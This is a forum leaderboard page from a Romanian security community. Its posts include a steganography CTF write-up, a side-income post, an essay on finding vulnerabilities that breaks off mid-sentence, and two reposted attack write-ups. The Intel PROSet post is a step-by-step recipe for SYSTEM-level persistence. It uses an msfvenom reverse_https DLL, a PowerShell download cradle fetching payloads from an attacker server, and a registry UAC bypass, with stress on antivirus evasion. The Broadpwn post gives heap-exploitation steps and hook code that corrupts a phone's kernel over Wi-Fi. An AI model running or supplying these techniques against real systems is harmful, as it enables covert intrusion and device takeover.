Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 09/17/17 in all areas

  1. Având puțin timp liber seara, am decis să mă destind cu acest challenge. La rugămintea lui @Usr6 în continuare postez rezolvarea problemei. 1. Descărcăm imaginea, verificând ca aceasta să fie integră $ curl -s https://rstforums.com/forum/uploads/monthly_2017_09/OldGarage.jpg.cdab3e6485face558cb330baf13519cf.jpg --output OldGarage.jpg && md5sum OldGarage.jpg 2. Folosind un hex editor, căutăm biții de sfârșit ai jpg-ului, aceștia fiind FF D9. Dacă după acești biți începe analiza noastră. Dacă după acești biți mai există ceva care ne-ar putea da de bănuit, iar în acest caz putem observa un nume de fișier, anume "The_eye_of.jpg". De începem să bănuim că aici vom găsi următoarea sub-problemă. Verificăm dacă la sfârșitul acelui bloc de biți găsim grupul de litere PK (inițialele lui Phil Katz, creatorul formatului zip) 3.1.0 Folosind dd sau un extractor, extragem arhiva din imagine. Îi vom da valoarea parametrului skip valoarea în format decimal a blocului unde se termină jpg-ul (unde am găsit blocul FF D9), în cazul nostru: dd if=OldGarage.jpg bs=1 skip=47168 of=imaginea_din_arhiva.zip 3.1.1 Dezarhivăm imaginea_din_arhiva.zip PS: Am prezentat acest pas pentru a se putea observa cum funcționează lucrurile. 3.2 Probabil aveți un extractor care e destul de deștept și puteți extrage direct: 4. Analizăm imaginea obținută analog cu pasul 3, unde observăm același procedeu, dar, la extragerea arhivei suntem întâmpinați de cererea unei parole. Pentru un rezultat mai obiectiv, căutăm imaginea pe Google împreună cu numele acesteia fără "_". Găsim astfel parola Horus 5. Analog pasului anterior, la dezarhivare trebuie să introducem o parolă pentru a ajunge la următorul sub-challenge: Căutând pe Google după "the code of holy bible" ajungem pe pagina de Wikipedia a acestuia, iar la al doilea paragraf găsim asta: Decidem să spargem textul în bucăți de câte 50 de caractere. Pentru asta, eu am folosit site-ul http://www.dcode.fr/text-splitter care are o mulțime de tool-uri de criptanaliză. Obținem asta: Deci, avem parola: GoodDataIsCryptedData 6. În urma tuturor indiciilor am ajuns să avem fișierul cu numele "Divide ET Impera.56" La prima vedere pare o înșiruire de hash-uri MD5, cel puțin pentru mine. Dar, ca să folosim indiciul, vom împărți textul în 56 de blocuri. Pe fiecare linie avem câte 32 de caractere, ceea ce corespunde unui hash MD5. Deci, să trecem la treabă. Căutăm un site unde putem introduce mai multe hash-uri odată. Eu am găsit https://hashkiller.co.uk/md5-decrypter.aspx Rezultatul este: 92eb5ffee6ae2fec3ad71c777531578f MD5 : b 4b43b0aee35624cd95b910189b3dc231 MD5 : r 0cc175b9c0f1b6a831c399e269772661 MD5 : a 9e3669d19b675bd57058fd4664205d2a MD5 : v d95679752134a2d9eb61dbd7b91c4bcc MD5 : o 5058f1af8388633f609cadb75a75dc9d MD5 : . 7215ee9c7d9dc229d2921a40e899ec5f MD5 : [space] e358efa489f58062f10dd7316b65649e MD5 : t e1671797c52e15f763380b45e841ec32 MD5 : e 336d5ebc5436534e61d16e63ddfca327 MD5 : - 0cc175b9c0f1b6a831c399e269772661 MD5 : a 865c0c0b4ab0e063e5caa3387c1a8741 MD5 : i 7215ee9c7d9dc229d2921a40e899ec5f MD5 : [space] 83878c91171338902e0fe0fb97a8c47a MD5 : p 4b43b0aee35624cd95b910189b3dc231 MD5 : r 865c0c0b4ab0e063e5caa3387c1a8741 MD5 : i 7b8b965ad4bca0e41ab51de7b31363a1 MD5 : n 03c7c0ace395d80182db07ae2c30f034 MD5 : s 5058f1af8388633f609cadb75a75dc9d MD5 : . 7215ee9c7d9dc229d2921a40e899ec5f MD5 : [space] 800618943025315f869e4e1f09471012 MD5 : F e1671797c52e15f763380b45e841ec32 MD5 : e 2db95e8e1a9267b7a1188556b2013b33 MD5 : l 865c0c0b4ab0e063e5caa3387c1a8741 MD5 : i 4a8a08f09d37b73795649038408b5f33 MD5 : c 865c0c0b4ab0e063e5caa3387c1a8741 MD5 : i e358efa489f58062f10dd7316b65649e MD5 : t 0cc175b9c0f1b6a831c399e269772661 MD5 : a 4b43b0aee35624cd95b910189b3dc231 MD5 : r 865c0c0b4ab0e063e5caa3387c1a8741 MD5 : i 9033e0e305f247c0c3c80d0c7848c8b3 MD5 : ! 7215ee9c7d9dc229d2921a40e899ec5f MD5 : [space] 44c29edb103a2872f519ad0c9a0fdaaa MD5 : P 5058f1af8388633f609cadb75a75dc9d MD5 : . 5dbc98dcc983a70728bd082d1a47546e MD5 : S 5058f1af8388633f609cadb75a75dc9d MD5 : . 7215ee9c7d9dc229d2921a40e899ec5f MD5 : [space] d20caec3b48a1eef164cb4ca81ba2587 MD5 : L 0cc175b9c0f1b6a831c399e269772661 MD5 : a 7215ee9c7d9dc229d2921a40e899ec5f MD5 : [space] 69691c7bdcc3ce6d5d8a1361f22d04ac MD5 : M 7b774effe4a349c6dd82ad4f4f21d34c MD5 : u 2db95e8e1a9267b7a1188556b2013b33 MD5 : l e358efa489f58062f10dd7316b65649e MD5 : t 865c0c0b4ab0e063e5caa3387c1a8741 MD5 : i 7215ee9c7d9dc229d2921a40e899ec5f MD5 : [space] 7fc56270e7a70fa81a5935b72eacbe29 MD5 : A 7b8b965ad4bca0e41ab51de7b31363a1 MD5 : n 865c0c0b4ab0e063e5caa3387c1a8741 MD5 : i 7215ee9c7d9dc229d2921a40e899ec5f MD5 : [space] b2f5ff47436671b6e533d8dc3614845d MD5 : g 0cc175b9c0f1b6a831c399e269772661 MD5 : a 4b43b0aee35624cd95b910189b3dc231 MD5 : r 0cc175b9c0f1b6a831c399e269772661 MD5 : a 363b122c528f54df4a0446b6bab05515 MD5 : j e1671797c52e15f763380b45e841ec32 MD5 : e Cam acesta a fost challenge-ul. Mulțumiri @Usr6și la mulți ani cu întârziere @MrGrj, că am uitat :"> Resurse utile: https://ctfs.github.io/resources/topics/steganography/file-in-image/README.html https://gchq.github.io/CyberChef/ http://www.dcode.fr/ http://security.cs.pub.ro/hexcellents/wiki/kb/crypto/home http://ridiculousfish.com/hexfiend/
    10 points
  2. PENETRATION TESTING FLASH APPS (AKA “HOW TO CHEAT AT BLACKJACK”) " In this post, we will walk through detailed steps to intercept, review, modify, and replay flash-based web apps. For demonstration purposes, I’ve selected a blackjack-style card game. We will work to control what cards are dealt, as well as how a score is calculated. " Source: https://privsec.blog/penetration-testing-flash-apps-aka-how-to-cheat-at-blackjack/
    2 points
  3. md5 (OldGarage.jpg) = 1427C48D8CAB1CF6CB6C628FDEBCC0D7
    2 points
  4. Cred că unzip e mai mult decât suficient pe orice distribuție.
    2 points
  5. Salut, Nu mai sunt atat de activ ca inainte pe forum dar incerc sa intru la 2-3 zile - insa primesc in continuare mesaje pe tema dropshippingului - ce tin sa va zic ca ca aceast domeniu nu este pentru oricine - ai nevoie de ceva capital ca sa mearga treburile rapid, de o platforma, plugins etc - depinde ce folosesti - dar mai ales de cadru legal. Odata ce faci mai multi banuti incep sa apara probleme, paypal iti limiteaza contul, stripe cere dovezi si tot asa, plus taxe de platit etc. Observ ca multi nu se descurca, altii renunta cand aud de cadru legal si asa mai departe insa toata lumea vrea sa faca bani si nu inteleg de ce lumea nu merge pe "old fashion way" blog sau aflieri cu amazon sau ceva de genu pentru ca merge, eu vad asta in fiecare zi, mai exact, o simt la buzunar.. La un moment dat am renuntat la aflieri si adsense si amazon si media.net dar am reluat de cateva luni si merge chiar foarte bine a-si putea spune. Nustiu daca frecventati Flippa insa eu o fac zilnic si gasesc acolo diferite chilipiruri in materie de NISE, am si vandut cateva site-uri, am mai cumparat unele insa pentru mine acest website e ca un fel de cutia pandorei. Acum ceva timp s-a vandut un site cu 4000 de dolari daca nu ma insel, era o pagina statica, alba complet cu un articol de 700 de cuvinte... a fost mind fuck, am verificat site-ul, avea 26 de backlinkuri, pareau naturale...cele mai multe de la directoare web. Competitie 4-5 siteuri...poate.. Next Step pentru mine, am cumparat un domeniu si hosting (19$ pe an pentru amundoua de la NameCheap) am incarcat o tema, am contactat o firma care imi scrie articole (7.50$ / 500 cuvinte) si am comandat 5 articole, unul de 2000, si restul de 500. Am luat un pachet seo de pe BHW unde am platit 130$. Investitia finala a fost undeva la 200 de dolari, plus minus. Asta am facut in prima saptamana, apoi NIMIC, l-am lasat sa doarma acolo. Cati bani face? Nu mult, in a 3-a luna e ok. Si asta e doar amazon, cu ce am mai facut din media.net ajung la 200 si asta e doar un site. Trafic doar din google - organic, fara social media fara nimic, nisa e cam "strange" si nustiu ce accounturi a-si putea face. Acum inmultiti cu 4 site-ui ca atatea am pe partea asta deocamdata... ------------------------------------------------- Short Story - Cu ce ajuta 1000223 topicuri cu 12232 de intrebari daca x lucru e mort, daca se mai poate daca etc.. totul merge, doar sa te tii. Mergi pe kwfinder cautati un cuvant / nisa usor de rankat si da drumu la treaba. Un prieten ma facea idiot aseara cand eu ii spuneam ca a face bani pe net e joaca de copii - poate e doar parerea mea - aici nu vorbesc de sute mii de doalri...ci de bani in general...e simplu, doar apuca-te de treaba si tine-te de ea. Daca renunti si la fumat 1 saptamana sau la scuipat seminte s-ar putea sa ai bani de domeniu si hosting sau orice altceva. Numai Bine.
    1 point
  6. SYSTEM-level Persistence via Intel PROSet Wireless RpcRtRemote.dll Backdoor Posted on March 17, 2017 by x4zx ** update 4/14/2017: powershell exploit code: https://github.com/0rbz/Intel_Inside The Intel PROSet Wireless connection management software is vulnerable to DLL hijack which results in privilege escalation, and SYSTEM level persistence via a backdoored “RpcRtRemote.dll” file. To execute this particular attack, we’ll chain it together with a CompMgmtLauncher.exe UAC Bypass (similar to enigma0x3’s and others’ work) to gain elevated permissions in order to write our backdoored file into the required location at “C:\Program Files\Common Files\Intel\WirelessCommon\” The issue arises when “C:\Program Files\Common Files\Intel\WirelessCommon\RegSrvc.exe” (a system level service) calls “RpcRtRemote.dll” within the same directory, which doesn’t exist on a default installation of the package. This allows us to supply our own backdoored dll, which we’ll execute manually for system-level privileges, but it also will give us system-level reverse_https meterpreter persistence at every system boot up since RegSrvc.exe runs as a local system service at boot time. This was tested on a fully patched 64-bit Windows 7 machine with the 64-bit version of the PROSet Wireless Package (“Wireless_19.40.0_PROSet64_Win7.exe”), and we’ll use 64-bit reverse_https meterpreter dll payload. This also probably works with x86, but the 64-bit dll offers us a bit more “evasion” when it comes to antivirus detection capabilities. This specific attack vector is also handy in regards to having a somewhat discreet sidechannel out of a target network. This also assumes you already have a reverse https meterpreter shell on a box as user in the local administrators group, with UAC enabled to anything but “Always Notify”, and just need another method to “getsystem” on your target. A vulnerable host should have the “RegSrvc.exe” process running, so check it with something like: tasklist |find "RegSrvc.exe" The resource file settings i’m using for for the listener is something like: intel.rc: use exploit/multi/handler set ExitOnSession false set LHOST 0.0.0.0 set LPORT 5555 set PAYLOAD windows/x64/meterpreter/reverse_https set HandlerSSLCert custom.pem exploit -j The first step is to create your 64-bit backdoored RpcRtRemote.dll file: msfvenom -p windows/x64/meterpreter/reverse_https -f dll LHOST=192.168.13.26 LPORT=5555 > RpcRtRemote.dll Host the above DLL on a web server you control. We'll use powershell to bring it down to the target directory later. Create the following powershell script, and also host it on a web server you control. Point the "$pl_url" variable to your backdoored RpcRtRemote.dll file: RpcRtRemote_downloader.ps1: $dlx = New-Object System.Net.WebClient $pl_url = 'https://x42.obscurechannel.com/RpcRtRemote.dll'; $lfile = 'C:\Program Files\Common Files\Intel\WirelessCommon\RpcRtRemote.dll'; $dlx.DownloadFile($pl_url,$lfile); Let's test. From your UAC restricted admin shell, execute the following: (this could all be scripted into a powershell or metasploit module!) This executes a CompMgmtLauncher.exe UAC bypass via wmic (because it works) and downloads our backdoored RpcRtRemote.dll (64 bit reverse_https meterpreter payload) and copies it to the WirelessCommon Directory using a powershell download cradle: reg add HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep Bypass -windowstyle hidden -nop iex -Command (New-Object Net.WebClient).DownloadString('https://yourserver.com/RpcRtRemote_downloader.ps1')" /f wmic process call create "cmd.exe /c C:\windows\system32\CompMgmtLauncher.exe" Wait before running the next step, the dll download may take a few seconds depending on its size, bandwidth, etc. Re-execute the UAC bypass to re-launch "RegSrvc.exe" as an elevated process: reg add HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command /d "C:\Program Files\Common Files\Intel\WirelessCommon\RegSrvc.exe" /f wmic process call create "cmd.exe /c C:\windows\system32\CompMgmtLauncher.exe" clean up: reg delete HKEY_CURRENT_USER\Software\Classes\mscfile /f At this point, you should have gotten a new elevated meterpreter session and should be able to execute a "getsystem" command. This will also persist as a NT AUTHORITY/SYSTEM level shell upon every reboot. The flow: Defenders: Configure UAC to "Always Notify" Remove users from the local administrators group Monitor for rogue connections originating from rundll32.exe (only effective if the attacker doesn't migrate to another valid process) - @0rbz_ Sursa: https://www.obscurechannel.com/x42/?p=378
    1 point
  7. Crashing phones with Wi-Fi: Exploiting nitayart's Broadpwn bug (CVE-2017-9417) This is part 2 of a two-part series on Broadpwn: part 1 is here: A cursory analysis of @nitayart's Broadpwn bug (CVE-2017-9417) TLDR: If you're near a malicious Wi-Fi network, an attacker can take over your Wi-Fi chip using @nitayart's Broadpwn bug, and then take over the rest of your phone with Project Zero/@laginimaineb's previously disclosed DMA attack. As a proof of concept, I've made a malicious network which uses these two exploits to corrupt the RAM of my Nexus 6P, causing a crash and reboot. Plan There's two parts to this proof of concept: A method to get arbitrary code execution on the Wi-Fi chip using @nitayart's Broadpwn bug An implementation of Project Zero's DMA engine hook to corrupt the kernel in the main system memory over PCIE The first part is very reliable - I can always get code execution; the second part only works sometimes, since we're pointing the Wi-Fi packet DMA into main memory, and so success depends on what packets are DMAed. Code execution on the Wi-Fi chip In the last post, we managed to cause a heap write out of bounds using the Broadpwn bug, which causes the Wi-Fi chip to crash when reading an invalid address. Here's the crashlog from the previous post: [ 695.399412] CONSOLE: FWID 01-a2412ac4 [ 695.399420] CONSOLE: flags 60040005 [ 695.399425] CONSOLE: 000003.645 [ 695.399430] CONSOLE: TRAP 4(23fc30): pc 5550c, lr 2f697, sp 23fc88, cpsr 2000019f, spsr 200001bf [ 695.399435] CONSOLE: 000003.645 dfsr 1, dfar 41414145 [ 695.399441] CONSOLE: 000003.645 r0 41414141, r1 2, r2 1, r3 0, r4 22cc00, r5 217634, r6 217048 [ 695.399449] CONSOLE: 000003.645 r7 2, r8 56, r9 1, r10 216120, r11 217224, r12 8848cb89 [ 695.399455] CONSOLE: 000003.645 [ 695.399460] CONSOLE: sp+0 00000002 0022cc00 0022d974 00217634 [ 695.399465] CONSOLE: 000003.645 sp+10 00000004 0001aa83 0022d97f 00000168 [ 695.399471] CONSOLE: [ 695.399476] CONSOLE: 000003.645 sp+14 0001aa83 [ 695.399481] CONSOLE: 000003.645 sp+38 000937eb [ 695.399486] CONSOLE: 000003.645 sp+44 00003b15 [ 695.399492] CONSOLE: 000003.645 sp+4c 00088659 [ 695.399497] CONSOLE: 000003.645 sp+64 00008fc7 [ 695.399502] CONSOLE: 000003.645 sp+74 0000379b [ 695.399507] CONSOLE: 000003.645 sp+94 00000a29 [ 695.399512] CONSOLE: 000003.645 sp+c4 0019a9e1 [ 695.399517] CONSOLE: 000003.645 sp+e4 00006a4d [ 695.399523] CONSOLE: 000003.645 sp+11c 00188113 [ 695.399528] CONSOLE: 000003.645 sp+15c 000852ef [ 695.399533] CONSOLE: 000003.645 sp+180 00019735 [ 695.399538] CONSOLE: 000003.645 sp+194 0001ec73 [ 695.399543] CONSOLE: 000003.645 sp+1bc 00018ba5 [ 695.399549] CONSOLE: 000003.645 sp+1dc 00018a75 [ 695.399554] CONSOLE: 000003.645 sp+1fc 0000656b First, let's figure out what exactly we're overwriting. According to Project Zero, heap allocations begin with a 8-byte header: a uint32_t containing the allocation's size and a pointer to the next free chunk if the current chunk is free or null if it's allocated. I connected to a normal Wi-Fi network that uses QoS, and dumped the Wi-Fi chip's RAM using dhdutil. Next, I used a modified version of Project Zero's heap visualization script to iterate through the entire heap, looking for allocations that begin with 0050f202 (the start of a WME information element). It turns out there's two allocations that both begin with this series of bytes: the chunk at 0x1f3550 and at 0x21700c. Both are followed by another chunk 0x78 bytes in size (at 0x1f3584 and 0x217040) Looking at the stack in the crashlog, we can see that r6=0x217048 matches the start of the second allocation, so the address we're overflowing seems to be the second one. Next, what are we overwriting afterwards? Right now, we only know the next chunk's size (0x78) and contents (a few pointers, no function pointers). Let's look at the code that crashed. Going up the call stack, we identified a function that contains a printf call with the function name. After cross referencing, we're able to reconstruct this call stack: 0x5550c wlc_hrt_del_timeout 0x635cc wlc_pm2_sleep_ret_timer_stop 0x2f670 wlc_set_pm_mode 0x19734 _wlc_ioctl So it looks like we overwrote a pointer to a timer, and the firmware crashes when disabling it. This type of timer is placed in a single linked list when enabled. A timer looks like this: typedef struct wlc_hrt_to { wlc_hrt_to_t *next; // 0x0 list_head *hrti; // 0x4 uint32_t timeout; // 0x8 void *func; // 0xc } wlc_hrt_to_t; So when disabling a timer, wlc_hrt_del_timeout performs the following: Check if the passed in pointer to the timer is null; if so, return Grab the pointer to the head of the list from the timer Iterate through the list until it finds the timer to disable Once it finds it, add the remaining time on the timer to the next timer in the sequence Perform standard singly-linked list unlink (prev->next = this->next) Finally set the function pointer on the timer to null So how can we turn this into a write primitive? Abuse the timeout addition! Make a fake timer object set the pointer to head of the list to a fake linked list head This fake linked list head points to the fake timer object Set the next pointer on this fake timer object to point to the code we want to overwrite Set the remaining time on this fake object to be (target value - current value at the address we want to overwrite) We also overlap the timer's function pointer with the link list head's next pointer And so, when the firmware attempts to disable this fake timer, it: Finds our timer object - it's the first timer in the fake linked list Adds the remaining time to the next timer in the list - which is pointing to the code we want to overwrite, giving us a write. Does the unlink by setting prev->next (which is the head of the list right now) to this->next And zeros out the function pointer. Since we overlapped the fake timer with the fake linked list head, this also zeroes the list head's ->next pointer, so any future attempts to disable this timer will fail gracefully when it sees an empty linked list, preventing crashes. I decided to use this to change the first instruction of dma64_txfast to a branch instruction that jumps into our overflowed buffer, allowing arbitrary code execution on the Wi-Fi chip. There's a few other things to take care of: setting the other pointers in the overwritten structure to null to prevent crashes when the firmware tries to access them filling the beginning of the overflowed structure with 0x41 to cause the firmware to disable the fake timer (For some reason, if I set it all to 0x00, the fake timer is never disabled. I don't know why.) making sure the firmware doesn't overwrite our payload (I made a payload with 0x41s, connected to the network, dumped the RAM to see which bytes were overwritten, and put code and structures into the intact areas) but after that, we have code execution! The payload can be seen here, with comments on the purpose of each part. Now, what to execute? Crashing the main CPU Let's implement Project Zero's DMA attack. The TLDR of their approach is that recent phones connect Wi-Fi chipsets via PCI Express, which allows arbitrary memory writes and reads through DMA. By manipulating the list of DMA buffers on the Wi-Fi chip, an attacker can write any information into main memory, thus getting code execution on the main CPU. I'm using Project Zero's first DMA attack, which simply sets the D2H_MSGRING_TX_COMPLETE ring's ringaddr to point into the kernel. I dumped the address of the ring structure using Project Zero's dump_pci.py script, and then wrote a hook that patches the target address to 0x248488 in the main CPU's physical memory (which seems to correspond to critical code in the kernel I'm running), and also patches out the WME IE bug that we exploited in the first place (so that we don't accidentally run the exploit twice). Here's the hook: .syntax unified .thumb hook_entry: // 0x90 push {r0-r3,r4-r9,lr} // 0x217090 bl fullhook // 0x217094 pop {r0-r3} // 0x217098 .word 0xbaf9f774 // 0x21709a: branch to original txfast fullhook: ldr r3, patchoutaddr // 0x21709e ldr r2, patchaddr // 0x2170a0 str r2, [r3] // 0x2180a2 ldr r2, ringaddr // 0x2180a4 ldr r3, valuewritten // 0x2180a6 str r3, [r2] // 0x2180a8 bx lr // 0x2180aa valuewritten: .word 0x00248488 // 0x2180ac physical address on the host side; seems to crash things... patchoutaddr: .word 0x1b8ad0 // 0x2180b0 function to patch patchaddr: .word 0x47702000 // 0x2180b4 mov r0, #0; bx lr note firmware overwrites byte 0 with a 0; it's fine ringaddr: .word 0x002397C4 // 0x2180b8 ringaddr of D2H_MSGRING_TX_COMPLETE dumped with Project Zero's dump_pci.py This is then assembled and placed into the payload. The next time dma64_txfast is called, our code will patch the DMA ring, and the next Wi-Fi packet to be processed will overwrite part of the main CPU's kernel, crashing it. The final payload can be seen here, along with other useful scripts. Result Experimental setup: computer same as before (Ubuntu 14.04, hostapd 2.6, Intel 7260 integrated Wi-Fi). Phone same as before: Google/Huawei Nexus 6P: running the latest firmware (N2G48B), but modified with the vulnerable June Broadcom firmware for testing this bug, and with a custom kernel for rooting. Since the bug is in the Wi-Fi firmware only, this should give the same result as an unupdated stock Nexus 6P. When the device connects to the network, it froze, and then after a few seconds it rebooted. The console-ramoops file (which contains the kernel log from the previous boot) shows a kernel panic from an invalid instruction exception in the kernel. (I tried to overwrite sys_nanosleep, but missed. It seemed to break something at least.) The crash isn't very reliable (the code exec on the wi-fi chip seems to be reliable, but getting the PCIE DMA to cooperate isn't.) When it works, the crash log shows this: [ 5887.413947] CFG80211-ERROR) wl_cfg80211_connect : Connecting to (MAC address) with channel (1) ssid (Network) [ 5887.420050] CFG80211-ERROR) wl_notify_connect_status : connect failed event=0 e->status 4 e->reason 1 [ 5887.426601] CFG80211-ERROR) wl_bss_connect_done : Report connect result - connection failed [ 5887.474993] WLDEV-ERROR) wldev_set_country : wldev_set_country: set country for CA as US rev 975 [ 5887.596971] type=1400 audit(1499840123.620:282): avc: denied { syslog_read } for pid=14628 comm="WifiStateMachin" scontext=u:r:system_server:s0 tcontext=u: r:kernel:s0 tclass=system permissive=1 [ 5887.642896] dhd_dbg_monitor_get_tx_pkts(): no tx_status in tx completion messages, make sure that 'd11status' is enabled in firmware, status_pos=0 [ 5887.810772] HTB: quantum of class 10001 is big. Consider r2q change. [ 5887.829826] HTB: quantum of class 10010 is big. Consider r2q change. [ 5889.614299] Internal error: Oops - undefined instruction: 0 [#1] PREEMPT SMP [ 5889.614322] CPU: 0 PID: 23518 Comm: kworker/0:1 Tainted: G W 3.10.73-g4f6d61a-00391-gde1f200-dirty #38 [ 5889.614339] Workqueue: events rslow_comp_work [ 5889.614350] task: ffffffc0812d8ac0 ti: ffffffc08d134000 task.ti: ffffffc08d134000 [ 5889.614358] PC is at fg_mem_write+0x3f0/0x4dc [ 5889.614364] LR is at fg_mem_write+0x3f0/0x4dc [ 5889.614370] pc : [<ffffffc0008b8480>] lr : [<ffffffc0008b8480>] pstate: 60000145 [ 5889.614374] sp : ffffffc08d137b80 [ 5889.614379] x29: ffffffc08d137b80 x28: ffffffc0bec2f2c8 [ 5889.614388] x27: ffffffc08d137bfe x26: ffffffc08d137c0f [ 5889.614396] x25: ffffffc08d137c10 x24: 0000000000000000 [ 5889.614405] x23: ffffffc08d137cc4 x22: 0000000000000000 [ 5889.614413] x21: 0000000000000004 x20: 0000000000000001 [ 5889.614421] x19: ffffffc0bec2f018 x18: 0000000000000000 [ 5889.614429] x17: 0000000000000000 x16: ffffffc00034f1bc [ 5889.614438] x15: 0000000000000000 x14: 0ffffffffffffffe [ 5889.614446] x13: 0000000000000030 x12: 0101010101010101 [ 5889.614454] x11: 7f7f7f7f7f7f7f7f x10: 0000000000004410 [ 5889.614462] x9 : ffffffc006158018 x8 : ffffffc00168e300 [ 5889.614471] x7 : 0000000000000818 x6 : 0000000000000000 [ 5889.614479] x5 : 0000000000000818 x4 : 00000000fc4cf000 [ 5889.614487] x3 : 0000000000000001 x2 : 09104ccfa95a13c2 [ 5889.614495] x1 : 09104ccfa95a13c2 x0 : 0000000000000000 (snip a few lines) [ 5889.615088] Process kworker/0:1 (pid: 23518, stack limit = 0xffffffc08d134058) [ 5889.615093] Call trace: [ 5889.615100] [<ffffffc0008b8480>] fg_mem_write+0x3f0/0x4dc [ 5889.615106] [<ffffffc0008b8a38>] fg_mem_masked_write+0x114/0x178 [ 5889.615113] [<ffffffc0008ba598>] rslow_comp_work+0x238/0x364 [ 5889.615123] [<ffffffc00023d224>] process_one_work+0x25c/0x3c0 [ 5889.615129] [<ffffffc00023d580>] worker_thread+0x1f8/0x348 [ 5889.615139] [<ffffffc000243e70>] kthread+0xc0/0xcc [ 5889.615147] Code: f9400660 52800023 11004042 97fff7bc (000103e2) [ 5889.615153] ---[ end trace 48638eec16f50d72 ]--- [ 5889.628687] Kernel panic - not syncing: Fatal exception [ 5889.628851] CPU1: stopping Impact Yep, we've proved Broadpwn to be exploitable. In addition, the heap buffers that are overflowed are allocated at startup, so they are stable for a given firmware version and chip. So if attackers knows your device and your firmware version, they can take over the Wi-Fi chip and then the whole phone. I think @Viss has the best advice: just turn Wi-Fi off. Stuff I don't know how to do There's a few issues that prevents this proof-of-concept from being useful. Project Zero's proof of concept, implemented here, DMAs random network packets into main memory; I was unable to implement their more advanced dma64_txfast hook (which gives more control over the address to write. It worked once, and only once, and I can't reproduce it.) can we control what's written so that we can modify the kernel instead of just corrupting and crashing it? Currently, the Wi-Fi stops working if I trigger the bug, even if I use a payload that doesn't crash the device or the Wi-Fi chip. It just fails to finish connecting to network. An attacker will need to keep the Wi-Fi working to avoid user suspicion and to exfiltrate data. Current payload requires address of buffer that's overflowed + address of dma64_txfast, both of which differs between phones and firmware versions. Is it possible to develop an exploit that works on all devices? @nitayart's Black Hat presentation is likely to cover some of these, so don't miss it. Appendix: testing with a different version of firmware I have my phone updated to the latest version of Android, so when I need to test this bug, I need to downgrade the Broadcom firmware. Here's how: $ adb shell # setenforce 0 # cp fw_bcmdhd.bin /data/local/tmp/firmware/ # chmod 755 /data/local/tmp/firmware/fw_bcmdhd.bin # mount -o bind /data/local/tmp/firmware /vendor/firmware # stop # start Sursa: http://boosterok.com/blog/broadpwn2/
    1 point
  8. High-Level Approaches for Finding Vulnerabilities Fri 15 September 2017 This post is about the approaches I've learned for finding vulnerabilities in applications (i.e. software security bugs, not misconfigurations or patch management issues). I'm writing this because it's something I wish I had when I started. Although this is intended for beginners and isn't new knowledge, I think more experienced analysts might gain from comparing this approach to their own just like I have gained from others like Brian Chess and Jacob West, Gynvael Coldwind, Malware Unicorn, LiveOverflow, and many more. Keep in mind that this is a work-in-progress. It's not supposed to be comprehensive or authoritative, and it's limited by the knowledge and experience I have in this area. I've split it up into a few sections. I'll first go over what I think the discovery process is at a high level, and then discuss what I would need to know and perform when looking for security bugs. Finally, I'll discuss some other thoughts and non-technical lessons learned that don't fit as neatly in the earlier sections. What is the vulnerability discovery process? In some ways, the vulnerability discovery process can be likened to solving puzzles like mazes, jigsaws, or logic grids. One way to think about it abstractly is to see the process as a special kind of maze where: You don't immediately have a birds-eye view of what it looks like. A map of it is gradually formed over time through exploration. You have multiple starting points and end points but aren't sure exactly where they are at first. The final map will almost never be 100% clear, but sufficient to figure out how to get from point A to B. If we think about it less abstractly, the process boils down to three steps: Enumerate entry points (i.e. ways of interacting with the app). Think about insecure states (i.e. vulnerabilities) that an adversary would like to manifest. Manipulate the app using the identified entry points to reach the insecure states. In the context of this process, the maze is the application you're researching, the map is your mental understanding of it, the starting points are your entry points, and the end points are your insecure states. Entry points can range from visibly modifiable parameters in the UI to interactions that are more obscure or transparent to the end-user (e.g. IPC). Some of the types of entry points that are more interesting to an adversary or security researcher are: Areas of code that are older and haven't changed much over time (e.g. vestiges of transition from legacy). Intersections of development efforts by segmented teams or individuals (e.g. interoperability). Debugging or test code that is carried forward into production from the development branch. Gaps between APIs invoked by the client vs. those exposed by the server. Internal requests that are not intended to be influenced directly by end-users (e.g. IPC vs form fields). The types of vulnerabilities I think about surfacing can be split into two categories: generic and contextual. Generic vulnerabilities (e.g. RCE, SQLi, XSS, etc.) can be sought across many applications often without knowing much of their business logic, whereas contextual vulnerabilities (e.g. unauthorized asset exposure/tampering) require more knowledge of business logic, trust levels, and trust boundaries. The rule of thumb I use when prioritizing what to look for is to first focus on what would yield the most impact (i.e. highest reward to an adversary and the most damage to the application's stakeholders). Lightweight threat models like STRIDE can also be helpful in figuring out what can go wrong. Let's take a look at an example web application and then an example desktop application. Let's say this web application is a single-page application (SPA) for a financial portal and we have authenticated access to it, but no server-side source code or binaries. When we are enumerating entry points, we can explore the different features of the site to understand their purpose, see what requests are made in our HTTP proxy, and bring some clarity to our mental map. We can also look at the client-side JavaScript to get a list of the RESTful APIs called by the SPA. A limitation of not having server-side code is that we can't see the gaps between the APIs called by the SPA and those that are exposed by the server. The identified entry points can then be manipulated in an attempt to reach the insecure states we're looking for. When we're thinking of what vulnerabilities to surface, we should be building a list of test-cases that are appropriate to the application's technology stack and business logic. If not, we waste time trying test cases that will never work (e.g. trying xp_cmdshell when the back-end uses Postgres) at the expense of not trying test cases that require a deeper understanding of the app (e.g. finding validation gaps in currency parameters of Forex requests). With desktop applications, the same fundamental process of surfacing vulnerabilities through identified entry points still apply but there are a few differences. Arguably the biggest difference with web applications is that it requires a different set of subject-matter knowledge and methodology for execution. The OWASP Top 10 won't help as much and hooking up the app to an HTTP proxy to inspect network traffic may not yield the same level of productivity. This is because the entry points are more diverse with the inclusion of local vectors. Compared to black-box testing, there is less guesswork involved when you have access to source code. There is less guesswork in finding entry points and less guesswork in figuring out vulnerable code paths and exploitation payloads. Instead of sending payloads through an entry point that may or may not lead to a hypothesized insecure state, you can start from a vulnerable sink and work backwards until an entry point is reached. In a white-box scenario, you become constrained more by the limitations of what you know over the limitations of what you have. What knowledge is required? So why are we successful? We put the time in to know that network. We put the time in to know it better than the people who designed it and the people who are securing it. And that's the bottom line. — Rob Joyce, TAO Chief The knowledge required for vulnerability research is extensive, changes over time, and can vary depending on the type of application. The domains of knowledge, however, tend to remain the same and can be divided into four: Application Technologies. This embodies the technologies a developer should know to build the target application, including programming languages, system internals, design paradigms/patterns, protocols, frameworks/libraries, and so on. A researcher who has experience programming with the technologies appropriate to their target will usually be more productive and innovative than someone who has a shallow understanding of just the security concerns associated with them. Offensive and Defensive Concepts. These range from foundational security principles to constantly evolving vulnerability classes and 